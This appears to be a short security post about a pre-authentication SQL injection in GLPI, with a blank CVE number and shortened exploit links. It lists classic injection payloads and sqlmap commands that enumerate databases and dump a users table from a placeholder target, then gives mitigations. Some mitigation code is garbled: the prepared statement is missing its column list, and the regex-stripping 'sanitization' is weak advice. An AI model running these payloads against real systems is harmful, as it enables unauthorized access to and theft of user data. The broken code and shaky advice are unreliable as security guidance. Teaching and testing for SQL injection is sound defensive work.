Pre-Auth SQL Injection (CVE–)

Exploit: https://lnkd.in/dwzYYGdF
Reference: https://lnkd.in/dTi3QzAj

You Should Know:

1. Understanding Pre-Auth SQL Injection

Pre-Authentication SQL Injection occurs when an attacker exploits SQL vulnerabilities before authentication checks. This allows unauthorized database access, potentially leading to data breaches, privilege escalation, or full system compromise.

2. Testing for SQL Injection

Use these commands to test for SQLi vulnerabilities:

Manual Testing:

' OR '1'='1 
" OR "" = " 
' OR 1=1 -- 

Automated Testing with SQLmap:

sqlmap -u "https://target.com/login" --data="username=admin&password=test" --risk=3 --level=5 

3. Exploitation Steps

If vulnerable, extract database information:

sqlmap -u "https://target.com/vuln_page" --dbs 
sqlmap -u "https://target.com/vuln_page" -D db_name --tables 
sqlmap -u "https://target.com/vuln_page" -D db_name -T users --dump 

4. Mitigation Techniques

• Use Prepared Statements:

  $stmt = $pdo->prepare("SELECT  FROM users WHERE username = ? AND password = ?"); 
  $stmt->execute([$username, $password]); 
  

• Input Sanitization:

  import re 
  cleaned_input = re.sub(r'[;\'"()]', '', user_input) 
  

• Web Application Firewall (WAF):

  ModSecurity Rule to Block SQLi 
  SecRule ARGS "@detectSQLi" "id:1000,deny,status:403" 
  

5. Post-Exploitation Checks

Check database logs for suspicious activity:

grep -i "sql error|syntax error" /var/log/mysql/error.log 

What Undercode Say:

Pre-Auth SQL Injection remains a critical threat due to poor input validation. Always:
– Use parameterized queries.
– Enforce least privilege on database users.
– Monitor logs for unusual queries.
– Patch systems regularly.

Expected Output:

[+] Database: glpi_db 
[+] Table: glpi_users 
[+] Columns: id, username, password (hashed) 

Related Commands:

 Check running DB services 
netstat -tulnp | grep mysql

Secure MySQL 
mysql_secure_installation

Enable query logging 
SET GLOBAL general_log = 'ON'; 

Expected Output: A secure database with no unauthorized access.

References:

Reported By: Muhammadwaseem11 Glpi – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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